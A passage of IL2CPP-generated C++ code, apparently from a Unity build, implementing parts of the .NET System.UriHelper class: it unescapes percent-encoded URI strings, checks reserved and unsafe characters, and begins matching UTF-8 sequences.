} IL_001e: try { // begin try (depth: 1) { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_4 = ___dest3; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_5 = L_4; V_6 = L_5; if (!L_5) { goto IL_002a; } } IL_0024: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_6 = V_6; NullCheck(L_6); if ((((int32_t)((int32_t)(((RuntimeArray *)L_6)->max_length))))) { goto IL_0030; } } IL_002a: { V_5 = (Il2CppChar*)(((uintptr_t)0)); goto IL_003b; } IL_0030: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_7 = V_6; NullCheck(L_7); V_5 = (Il2CppChar*)(((uintptr_t)((L_7)->GetAddressAt(static_cast<il2cpp_array_size_t>(0))))); } IL_003b: { int32_t L_8 = ___unescapeMode8; if (((int32_t)((int32_t)L_8&(int32_t)3))) { goto IL_0070; } } IL_0041: { goto IL_0064; } IL_0043: { Il2CppChar* L_9 = V_5; int32_t* L_10 = ___destPosition4; int32_t* L_11 = ___destPosition4; int32_t L_12 = *((int32_t*)L_11); V_7 = L_12; int32_t L_13 = V_7; *((int32_t*)L_10) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_13, (int32_t)1)); int32_t L_14 = V_7; Il2CppChar* L_15 = ___pStr0; int32_t L_16 = ___start1; int32_t L_17 = L_16; ___start1 = ((int32_t)il2cpp_codegen_add((int32_t)L_17, (int32_t)1)); int32_t L_18 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_15, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_17)), (int32_t)2))))); *((int16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_9, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_14)), (int32_t)2))))) = (int16_t)L_18; } IL_0064: { int32_t L_19 = ___start1; int32_t L_20 = ___end2; if ((((int32_t)L_19) < ((int32_t)L_20))) { goto IL_0043; } } IL_0068: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_21 = ___dest3; V_8 = L_21; IL2CPP_LEAVE(0x39C, FINALLY_0396); } IL_0070: { V_9 = 0; goto IL_01dd; } IL_0078: { Il2CppChar* L_22 = ___pStr0; int32_t L_23 = V_3; int32_t L_24 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_22, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_23)), (int32_t)2))))); int32_t L_25 = L_24; V_9 = L_25; if ((!(((uint32_t)L_25) == ((uint32_t)((int32_t)37))))) { goto IL_0195; } } IL_0089: { int32_t L_26 = ___unescapeMode8; if (((int32_t)((int32_t)L_26&(int32_t)2))) { goto IL_0096; } } IL_008f: { V_2 = (bool)1; goto IL_0207; } IL_0096: { int32_t L_27 = V_3; int32_t L_28 = ___end2; if ((((int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_27, (int32_t)2))) >= ((int32_t)L_28))) { goto IL_0176; } } IL_009f: { Il2CppChar* L_29 = ___pStr0; int32_t L_30 = V_3; int32_t L_31 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_29, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_30, (int32_t)1)))), (int32_t)2))))); Il2CppChar* L_32 = ___pStr0; int32_t L_33 = V_3; int32_t L_34 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_32, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_33, (int32_t)2)))), (int32_t)2))))); IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); Il2CppChar L_35 = UriHelper_EscapedAscii_m06D556717795E649EBBB30E4CBCF3D221C1FEB78(L_31, L_34, /*hidden argument*/NULL); V_9 = L_35; int32_t L_36 = ___unescapeMode8; if ((((int32_t)L_36) < ((int32_t)8))) { goto IL_00e2; } } IL_00bd: { Il2CppChar L_37 = V_9; if ((!(((uint32_t)L_37) == ((uint32_t)((int32_t)65535))))) { goto IL_0207; } } IL_00c9: { int32_t L_38 = ___unescapeMode8; if ((((int32_t)L_38) < ((int32_t)((int32_t)24)))) { goto IL_01d9; } } IL_00d2: { String_t* L_39 = SR_GetString_m3FC710B15474A9B651DA02B303241B6D8B87E2A7(_stringLiteral2028E589D6BB0C12D880EFA6E4DAB4AF32821B19, /*hidden argument*/NULL); UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * L_40 = (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A *)il2cpp_codegen_object_new(UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A_il2cpp_TypeInfo_var); UriFormatException__ctor_mE1D46962CC168EB07B59D1265F5734A8F587567D(L_40, L_39, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_40, NULL, UriHelper_UnescapeString_mD4815AEAF34E25D31AA4BB4A76B88055F0A49E89_RuntimeMethod_var); } IL_00e2: { Il2CppChar L_41 = V_9; if ((!(((uint32_t)L_41) == ((uint32_t)((int32_t)65535))))) { goto IL_00fb; } } IL_00eb: { int32_t L_42 = ___unescapeMode8; if (!((int32_t)((int32_t)L_42&(int32_t)1))) { goto IL_01d9; } } IL_00f4: { V_2 = (bool)1; goto IL_0207; } IL_00fb: { Il2CppChar L_43 = V_9; if ((!(((uint32_t)L_43) == ((uint32_t)((int32_t)37))))) { goto IL_010a; } } IL_0101: { int32_t L_44 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_44, (int32_t)2)); goto IL_01d9; } IL_010a: { Il2CppChar L_45 = V_9; Il2CppChar L_46 = ___rsvd15; if ((((int32_t)L_45) == ((int32_t)L_46))) { goto IL_011c; } } IL_0110: { Il2CppChar L_47 = V_9; Il2CppChar L_48 = ___rsvd26; if ((((int32_t)L_47) == ((int32_t)L_48))) { goto IL_011c; } } IL_0116: { Il2CppChar L_49 = V_9; Il2CppChar L_50 = ___rsvd37; if ((!(((uint32_t)L_49) == ((uint32_t)L_50)))) { goto IL_0125; } } IL_011c: { int32_t L_51 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_51, (int32_t)2)); goto IL_01d9; } IL_0125: { int32_t L_52 = ___unescapeMode8; if (((int32_t)((int32_t)L_52&(int32_t)4))) { goto IL_013d; } } IL_012b: { Il2CppChar L_53 = V_9; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); bool L_54 = UriHelper_IsNotSafeForUnescape_m1D0461E7C5A3CFBD7A2A7F7322B66BC68CCE741D(L_53, /*hidden argument*/NULL); if (!L_54) { goto IL_013d; } } IL_0134: { int32_t L_55 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_55, (int32_t)2)); goto IL_01d9; } IL_013d: { bool L_56 = V_4; if (!L_56) { goto IL_0207; } } IL_0144: { Il2CppChar L_57 = V_9; if ((((int32_t)L_57) > ((int32_t)((int32_t)159)))) { goto IL_0156; } } IL_014d: { Il2CppChar L_58 = V_9; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); bool L_59 = UriHelper_IsNotSafeForUnescape_m1D0461E7C5A3CFBD7A2A7F7322B66BC68CCE741D(L_58, /*hidden argument*/NULL); if (L_59) { goto IL_0170; } } IL_0156: { Il2CppChar L_60 = V_9; if ((((int32_t)L_60) <= ((int32_t)((int32_t)159)))) { goto IL_0207; } } IL_0162: { Il2CppChar L_61 = V_9; bool L_62 = ___isQuery10; bool L_63 = IriHelper_CheckIriUnicodeRange_mA9BAAD6D244ADEE8986FDC0DFB3DFDA90C093A6C(L_61, L_62, /*hidden argument*/NULL); if (L_63) { goto IL_0207; } } IL_0170: { int32_t L_64 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_64, (int32_t)2)); goto IL_01d9; } IL_0176: { int32_t L_65 = ___unescapeMode8; if ((((int32_t)L_65) < ((int32_t)8))) { goto IL_0191; } } IL_017b: { int32_t L_66 = ___unescapeMode8; if ((((int32_t)L_66) < ((int32_t)((int32_t)24)))) { goto IL_01d9; } } IL_0181: { String_t* L_67 = SR_GetString_m3FC710B15474A9B651DA02B303241B6D8B87E2A7(_stringLiteral2028E589D6BB0C12D880EFA6E4DAB4AF32821B19, /*hidden argument*/NULL); UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * L_68 = (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A *)il2cpp_codegen_object_new(UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A_il2cpp_TypeInfo_var); UriFormatException__ctor_mE1D46962CC168EB07B59D1265F5734A8F587567D(L_68, L_67, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_68, NULL, UriHelper_UnescapeString_mD4815AEAF34E25D31AA4BB4A76B88055F0A49E89_RuntimeMethod_var); } IL_0191: { V_2 = (bool)1; goto IL_0207; } IL_0195: { int32_t L_69 = ___unescapeMode8; if ((((int32_t)((int32_t)((int32_t)L_69&(int32_t)((int32_t)10)))) == ((int32_t)((int32_t)10)))) { goto IL_01d9; } } IL_019e: { int32_t L_70 = ___unescapeMode8; if (!((int32_t)((int32_t)L_70&(int32_t)1))) { goto IL_01d9; } } IL_01a4: { Il2CppChar L_71 = V_9; Il2CppChar L_72 = ___rsvd15; if ((((int32_t)L_71) == ((int32_t)L_72))) { goto IL_01b6; } } IL_01aa: { Il2CppChar L_73 = V_9; Il2CppChar L_74 = ___rsvd26; if ((((int32_t)L_73) == ((int32_t)L_74))) { goto IL_01b6; } } IL_01b0: { Il2CppChar L_75 = V_9; Il2CppChar L_76 = ___rsvd37; if ((!(((uint32_t)L_75) == ((uint32_t)L_76)))) { goto IL_01ba; } } IL_01b6: { V_2 = (bool)1; goto IL_0207; } IL_01ba: { int32_t L_77 = ___unescapeMode8; if (((int32_t)((int32_t)L_77&(int32_t)4))) { goto IL_01d9; } } IL_01c0: { Il2CppChar L_78 = V_9; if ((((int32_t)L_78) <= ((int32_t)((int32_t)31)))) { goto IL_01d5; } } IL_01c6: { Il2CppChar L_79 = V_9; if ((((int32_t)L_79) < ((int32_t)((int32_t)127)))) { goto IL_01d9; } } IL_01cc: { Il2CppChar L_80 = V_9; if ((((int32_t)L_80) > ((int32_t)((int32_t)159)))) { goto IL_01d9; } } IL_01d5: { V_2 = (bool)1; goto IL_0207; } IL_01d9: { int32_t L_81 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_81, (int32_t)1)); } IL_01dd: { int32_t L_82 = V_3; int32_t L_83 = ___end2; if ((((int32_t)L_82) < ((int32_t)L_83))) { goto IL_0078; } } IL_01e4: { goto IL_0207; } IL_01e6: { Il2CppChar* L_84 = V_5; int32_t* L_85 = ___destPosition4; int32_t* L_86 = ___destPosition4; int32_t L_87 = *((int32_t*)L_86); V_7 = L_87; int32_t L_88 = V_7; *((int32_t*)L_85) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_88, (int32_t)1)); int32_t L_89 = V_7; Il2CppChar* L_90 = ___pStr0; int32_t L_91 = ___start1; int32_t L_92 = L_91; ___start1 = ((int32_t)il2cpp_codegen_add((int32_t)L_92, (int32_t)1)); int32_t L_93 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_90, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_92)), (int32_t)2))))); *((int16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_84, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_89)), (int32_t)2))))) = (int16_t)L_93; } IL_0207: { int32_t L_94 = ___start1; int32_t L_95 = V_3; if ((((int32_t)L_94) < ((int32_t)L_95))) { goto IL_01e6; } } IL_020b: { int32_t L_96 = V_3; int32_t L_97 = ___end2; if ((((int32_t)L_96) == ((int32_t)L_97))) { goto IL_038d; } } IL_0212: { bool L_98 = V_2; if (!L_98) { goto IL_029c; } } IL_0218: { uint8_t L_99 = V_1; if (L_99) { goto IL_027a; } } IL_021b: { V_1 = (uint8_t)((int32_t)30); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_100 = ___dest3; NullCheck(L_100); uint8_t L_101 = V_1; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_102 = (CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2*)SZArrayNew(CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2_il2cpp_TypeInfo_var, (uint32_t)((int32_t)il2cpp_codegen_add((int32_t)(((int32_t)((int32_t)(((RuntimeArray *)L_100)->max_length)))), (int32_t)((int32_t)il2cpp_codegen_multiply((int32_t)L_101, (int32_t)3))))); V_13 = L_102; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_103 = V_13; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_104 = L_103; V_15 = L_104; if (!L_104) { goto IL_0239; } } IL_0233: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_105 = V_15; NullCheck(L_105); if ((((int32_t)((int32_t)(((RuntimeArray *)L_105)->max_length))))) { goto IL_023f; } } IL_0239: { V_14 = (Il2CppChar*)(((uintptr_t)0)); goto IL_024a; } IL_023f: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_106 = V_15; NullCheck(L_106); V_14 = (Il2CppChar*)(((uintptr_t)((L_106)->GetAddressAt(static_cast<il2cpp_array_size_t>(0))))); } IL_024a: { V_16 = 0; goto IL_0267; } IL_024f: { Il2CppChar* L_107 = V_14; int32_t L_108 = V_16; Il2CppChar* L_109 = V_5; int32_t L_110 = V_16; int32_t L_111 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_109, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_110)), (int32_t)2))))); *((int16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_107, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_108)), (int32_t)2))))) = (int16_t)L_111; int32_t L_112 = V_16; V_16 = ((int32_t)il2cpp_codegen_add((int32_t)L_112, (int32_t)1)); } IL_0267: { int32_t L_113 = V_16; int32_t* L_114 = ___destPosition4; int32_t L_115 = *((int32_t*)L_114); if ((((int32_t)L_113) < ((int32_t)L_115))) { goto IL_024f; } } IL_026e: { V_15 = (CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2*)NULL; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_116 = V_13; ___dest3 = L_116; IL2CPP_LEAVE(0x1D, FINALLY_0396); } IL_027a: { uint8_t L_117 = V_1; V_1 = (uint8_t)(((int32_t)((uint8_t)((int32_t)il2cpp_codegen_subtract((int32_t)L_117, (int32_t)1))))); Il2CppChar* L_118 = ___pStr0; int32_t L_119 = V_3; int32_t L_120 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_118, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_119)), (int32_t)2))))); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_121 = ___dest3; int32_t* L_122 = ___destPosition4; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902(L_120, L_121, (int32_t*)L_122, /*hidden argument*/NULL); V_2 = (bool)0; int32_t L_123 = V_3; int32_t L_124 = ((int32_t)il2cpp_codegen_add((int32_t)L_123, (int32_t)1)); V_3 = L_124; ___start1 = L_124; goto IL_0070; } IL_029c: { Il2CppChar L_125 = V_9; if ((((int32_t)L_125) > ((int32_t)((int32_t)127)))) { goto IL_02c0; } } IL_02a2: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_126 = ___dest3; int32_t* L_127 = ___destPosition4; int32_t* L_128 = ___destPosition4; int32_t L_129 = *((int32_t*)L_128); V_7 = L_129; int32_t L_130 = V_7; *((int32_t*)L_127) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_130, (int32_t)1)); int32_t L_131 = V_7; Il2CppChar L_132 = V_9; NullCheck(L_126); (L_126)->SetAt(static_cast<il2cpp_array_size_t>(L_131), (Il2CppChar)L_132); int32_t L_133 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_133, (int32_t)3)); int32_t L_134 = V_3; ___start1 = L_134; goto IL_0070; } IL_02c0: { V_10 = 1; ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_135 = V_0; if (L_135) { goto IL_02cf; } } IL_02c6: { int32_t L_136 = ___end2; int32_t L_137 = V_3; ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_138 = (ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821*)SZArrayNew(ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821_il2cpp_TypeInfo_var, (uint32_t)((int32_t)il2cpp_codegen_subtract((int32_t)L_136, (int32_t)L_137))); V_0 = L_138; } IL_02cf: { ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_139 = V_0; Il2CppChar L_140 = V_9; NullCheck(L_139); (L_139)->SetAt(static_cast<il2cpp_array_size_t>(0), (uint8_t)(((int32_t)((uint8_t)L_140)))); int32_t L_141 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_141, (int32_t)3)); goto IL_032a; } IL_02db: { Il2CppChar* L_142 = ___pStr0; int32_t L_143 = V_3; int32_t L_144 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_142, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_143)), (int32_t)2))))); int32_t L_145 = L_144; V_9 = L_145; if ((!(((uint32_t)L_145) == ((uint32_t)((int32_t)37))))) { goto IL_032e; } } IL_02e9: { int32_t L_146 = V_3; int32_t L_147 = ___end2; if ((((int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_146, (int32_t)2))) >= ((int32_t)L_147))) { goto IL_032e; } } IL_02ef: { Il2CppChar* L_148 = ___pStr0; int32_t L_149 = V_3; int32_t L_150 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_148, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_149, (int32_t)1)))), (int32_t)2))))); Il2CppChar* L_151 = ___pStr0; int32_t L_152 = V_3; int32_t L_153 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_151, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_152, (int32_t)2)))), (int32_t)2))))); IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); Il2CppChar L_154 = UriHelper_EscapedAscii_m06D556717795E649EBBB30E4CBCF3D221C1FEB78(L_150, L_153, /*hidden argument*/NULL); V_9 = L_154; Il2CppChar L_155 = V_9; if ((((int32_t)L_155) == ((int32_t)((int32_t)65535)))) { goto IL_032e; } } IL_0311: { Il2CppChar L_156 = V_9; if ((((int32_t)L_156) < ((int32_t)((int32_t)128)))) { goto IL_032e; } } IL_031a: { ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_157 = V_0; int32_t L_158 = V_10; int32_t L_159 = L_158; V_10 = ((int32_t)il2cpp_codegen_add((int32_t)L_159, (int32_t)1)); Il2CppChar L_160 = V_9; NullCheck(L_157); (L_157)->SetAt(static_cast<il2cpp_array_size_t>(L_159), (uint8_t)(((int32_t)((uint8_t)L_160)))); int32_t L_161 = V_3; V_3 = ((int32_t)il2cpp_codegen_add((int32_t)L_161, (int32_t)3)); } IL_032a: { int32_t L_162 = V_3; int32_t L_163 = ___end2; if ((((int32_t)L_162) < ((int32_t)L_163))) { goto IL_02db; } } IL_032e: { Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * L_164 = Encoding_get_UTF8_m67C8652936B681E7BC7505E459E88790E0FF16D9(/*hidden argument*/NULL); NullCheck(L_164); RuntimeObject * L_165 = VirtFuncInvoker0< RuntimeObject * >::Invoke(17 /* System.Object System.Text.Encoding::Clone() */, L_164); Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * L_166 = ((Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 *)CastclassClass((RuntimeObject*)L_165, Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_il2cpp_TypeInfo_var)); EncoderReplacementFallback_tC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998 * L_167 = (EncoderReplacementFallback_tC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998 *)il2cpp_codegen_object_new(EncoderReplacementFallback_tC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998_il2cpp_TypeInfo_var); EncoderReplacementFallback__ctor_mAE97C6B5EF9A81A90315A21E68271FAE87A738FD(L_167, _stringLiteralDA39A3EE5E6B4B0D3255BFEF95601890AFD80709, /*hidden argument*/NULL); NullCheck(L_166); Encoding_set_EncoderFallback_m24306F093457AE12D59A36AB84F1E03C840BD10A(L_166, L_167, /*hidden argument*/NULL); Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * L_168 = L_166; DecoderReplacementFallback_t8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742 * L_169 = (DecoderReplacementFallback_t8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742 *)il2cpp_codegen_object_new(DecoderReplacementFallback_t8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742_il2cpp_TypeInfo_var); DecoderReplacementFallback__ctor_m9D82FC93423AD9B954F28E30B20BF14DAFB01A5B(L_169, _stringLiteralDA39A3EE5E6B4B0D3255BFEF95601890AFD80709, /*hidden argument*/NULL); NullCheck(L_168); Encoding_set_DecoderFallback_mB321EB8D6C34B8935A169C0E4FAC7A4E0A99FACC(L_168, L_169, /*hidden argument*/NULL); ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_170 = V_0; NullCheck(L_170); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_171 = (CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2*)SZArrayNew(CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2_il2cpp_TypeInfo_var, (uint32_t)(((int32_t)((int32_t)(((RuntimeArray *)L_170)->max_length))))); V_11 = L_171; ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_172 = V_0; int32_t L_173 = V_10; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_174 = V_11; NullCheck(L_168); int32_t L_175 = VirtFuncInvoker5< int32_t, ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821*, int32_t, int32_t, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2*, int32_t >::Invoke(33 /* System.Int32 System.Text.Encoding::GetChars(System.Byte[],System.Int32,System.Int32,System.Char[],System.Int32) */, L_168, L_172, 0, L_173, L_174, 0); V_12 = L_175; int32_t L_176 = V_3; ___start1 = L_176; Il2CppChar* L_177 = V_5; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_178 = ___dest3; int32_t* L_179 = ___destPosition4; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_180 = V_11; int32_t L_181 = V_12; ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* L_182 = V_0; int32_t L_183 = V_10; bool L_184 = ___isQuery10; bool L_185 = V_4; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); UriHelper_MatchUTF8Sequence_m4835D9BB77C2701643B14D6FFD3D7057F8C9007F((Il2CppChar*)(Il2CppChar*)L_177, L_178, (int32_t*)L_179, L_180, L_181, L_182, L_183, L_184, L_185, /*hidden argument*/NULL); } IL_038d: { int32_t L_186 = V_3; int32_t L_187 = ___end2; if ((!(((uint32_t)L_186) == ((uint32_t)L_187)))) { goto IL_0070; } } IL_0394: { IL2CPP_LEAVE(0x39A, FINALLY_0396); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t *)e.ex; goto FINALLY_0396; } FINALLY_0396: { // begin finally (depth: 1) V_6 = (CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2*)NULL; IL2CPP_END_FINALLY(918) } // end finally (depth: 1) IL2CPP_CLEANUP(918) { IL2CPP_JUMP_TBL(0x39C, IL_039c) IL2CPP_JUMP_TBL(0x1D, IL_001d) IL2CPP_JUMP_TBL(0x39A, IL_039a) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t *) } IL_039a: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_188 = ___dest3; return L_188; } IL_039c: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_189 = V_8; return L_189; } } // System.Void System.UriHelper::MatchUTF8Sequence(System.Char*,System.Char[],System.Int32U26,System.Char[],System.Int32,System.Byte[],System.Int32,System.Boolean,System.Boolean) extern "C" IL2CPP_METHOD_ATTR void UriHelper_MatchUTF8Sequence_m4835D9BB77C2701643B14D6FFD3D7057F8C9007F (Il2CppChar* ___pDest0, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___dest1, int32_t* ___destOffset2, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___unescapedChars3, int32_t ___charCount4, ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* ___bytes5, int32_t ___byteCount6, bool ___isQuery7, bool ___iriParsing8, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper_MatchUTF8Sequence_m4835D9BB77C2701643B14D6FFD3D7057F8C9007F_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; Il2CppChar* V_1 = NULL; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* V_2 = NULL; int32_t V_3 = 0; bool V_4 = false; ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* V_5 = NULL; int32_t V_6 = 0; bool V_7 = false; bool V_8 = false; bool V_9 = false; int32_t V_10 = 0; int32_t V_11 = 0; int32_t V_12 = 0; int32_t V_13 = 0; int32_t G_B7_0 = 0; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* G_B7_1 = NULL; Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * G_B7_2 = NULL; int32_t G_B6_0 = 0; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* G_B6_1 = NULL; Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * G_B6_2 = NULL; int32_t G_B8_0 = 0; int32_t G_B8_1 = 0; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* G_B8_2 = NULL; Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * G_B8_3 = NULL; { V_0 = 0; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_0 = ___unescapedChars3; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_1 = L_0; V_2 = L_1; if (!L_1) { goto IL_000c; } } { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_2 = V_2; NullCheck(L_2); if ((((int32_t)((int32_t)(((RuntimeArray *)L_2)->max_length))))) { goto IL_0011; } } IL_000c: { V_1 = (Il2CppChar*)(((uintptr_t)0)); goto IL_001a; } IL_0011: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_3 = V_2; NullCheck(L_3); V_1 = (Il2CppChar*)(((uintptr_t)((L_3)->GetAddressAt(static_cast<il2cpp_array_size_t>(0))))); } IL_001a: { V_3 = 0; goto IL_01aa; } IL_0021: { Il2CppChar* L_4 = V_1; int32_t L_5 = V_3; int32_t L_6 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_4, 